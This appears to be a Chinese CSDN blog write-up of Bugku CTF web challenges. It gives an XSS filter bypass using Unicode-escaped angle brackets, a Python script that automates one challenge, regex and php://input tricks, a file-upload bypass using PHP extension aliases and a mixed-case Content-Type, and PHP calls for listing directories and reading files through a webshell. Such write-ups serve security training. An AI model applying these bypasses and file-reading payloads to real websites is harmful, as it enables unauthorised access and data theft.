bugku Web write up 二

本文详细介绍了在Bugku平台上的多个Web安全挑战,包括XSS、编程题、正则表达式审计、PHP文件包含、SQL注入等,通过实例分享了如何利用Unicode编码绕过过滤、文件读取、反序列化漏洞等技巧来解题。
摘要由CSDN通过智能技术生成

XSS

先来最简单的弹窗

?id=<srcipt>altert(/xss/)</script>

查看源码
这里写图片描述
发现<>被过滤掉了
这里学到一个技巧,就是用Unicode编码绕过
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e

速度要快

这种题就是编程题
上脚本,注意这题是用margin。。。。查看源码可知
这里写图片描述

#coding:utf-8
import requests
import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers
#flag = head['Flag'].split(':')[0]   注意response的键
#print flag

flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content #.text

字符?正则?

进去一看是条代码审计题目
这里写图片描述
这里加上别人跟自己对于正则的常规总结

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以'^'开头,以'$'结束
4.“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
9.\s匹配任意的空白符
10.\d   匹配数字
11.\b   匹配单词的开始或结束

自己的payload:?id=keyakey1111key:/a/akeya@

Web8

这个题目又学到了新知识
利用了file_get_contents的特性,当用到php://input的时候,file_get_contents支持字节流输入,只要构造php://input,且post数据过去即可
payload:?ac=1&php://input然后再post一个 1即可

求getshell

这一道题目又学到新知识。。。。
用PHP别名来绕过。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然后参考了大佬们的wp
发现这一题还要把Content-Type: multipart/form-data; 改成大小写绕过的形式,改为Content-Type: Multipart/form-data;
然后用别名去尝试php5的时候出现flag
这里写图片描述

never give up

查看源码,发现有一个1p.html
打开一看里面有js代码,直接放到控制台里面看一下
发现跳转到论坛,然后不知道要干嘛。。。。。
还是先转义一下那段东西吧,先urldecode,再发现里面有base64,然后再一次urldecode发现一段代码
这里写图片描述
这里写图片描述
发现有一个txt文件,不管那么多,先访问一下
得到flag

过狗一句话

这个一句话是get方式发送数据
先了解一些函数
phpinfo()函数查看信息
看看根目录下有哪些文件

print_r(scandir("./"))
print_r(glob("*"))

发现有一个flag.txt,直接访问即可,也可以用下面的函数打印出来
一些常用的输出文件内容

print_r(file('flag.txt')),这里的print_r换成var_dump也行
show_source("flag.txt")

这里写图片描述

flag.php

因为题目提示hint,于是就输入?hint
这里写图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值